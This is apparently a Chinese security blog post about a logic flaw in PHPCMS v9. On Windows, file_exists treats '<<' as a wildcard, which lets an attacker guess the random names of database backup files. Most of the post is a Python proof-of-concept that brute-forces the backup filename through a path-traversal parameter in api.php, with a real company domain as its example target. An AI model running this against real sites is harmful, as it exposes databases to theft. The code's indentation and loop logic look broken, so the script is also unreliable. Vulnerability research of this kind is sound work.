?

Mar 08 2018

PHPCMSv9邏輯漏洞導致備份文件名可猜測

首頁 » 漏洞收集 » PHPCMSv9邏輯漏洞導致備份文件名可猜測   

    簡要描述

    一處邏輯漏洞導致備份文件名可猜測,影響phpcmsv9所有版本。

一、漏洞原理

我們知道windows的FindFirstFile(API)有個特性就是可以把<<當成通配符來用而PHP的opendir(win32readdir.c)就使用了該API。PHP的文件操作函數均調用了opendir,所以file_exists也有此特性。
二、漏洞形成

程序文件apicreatimg.php里的$fontfile變量可控隨后便進入file_exists函數判斷。當文件存在和不存在時所返回的頁面是不一樣的。所以完全可以利用這個點來把長達30多位隨機字母名稱的備份文件推算出來(備份文件在web目)

beepress-image-69210-1520499695.jpg


三、你們想要的漏洞POC

#!/usr/bin/env python
#coding=utf-8
import urllib2
def check(url):  
  mark = True  
  req = urllib2.Request(url)    
  req.add_header('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')    
  response = urllib2.urlopen(req)    
  content = response.read()    
  if 'Cannot' in content:        
      mark = False    
  return mark
  
def guest(target):    
    arr = []    
    num = map(chr, range(48, 58))    
    alpha = map(chr, range(97, 123))    
    exploit = '%s/api.php?
    op=creatimg&txt=dysec&font=/../../../../caches/bakup/default/%s%s<<.sql'
    
    while True:        
       for char in num:            
        if check(exploit % (target, ''.join(arr), char)):               
           arr.append(char)                
           continue        
           
        if len(arr) < 20:            
            for char in alpha:                 
                 if check(exploit % (target, ''.join(arr), char)):                    
                     arr.append(char)                    
                     continue        
                
        elif len(arr) == 20:            
              arr.append('_db_')        
              
        elif len(arr)== 29:            
              arr.append('_1.sql')            
              break        
              
        if len(arr) < 1:            
            print '[*]not find!'            
            return    
            
        print '[*]find: %s/caches/bakup/default/%s' % (target, ''.join(arr))
        
    if __name__ == "__main__":    
        url = 'http://security.douyu.com'    
        #test    
        guest(url)



四、POC運行效果

2.jpg

3.jpeg

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: phpcmsv9漏洞

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «thinkphp5_log thinkphp5 日志掃描工具 | 某CMS V5.7 SP2 后臺Getshell»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖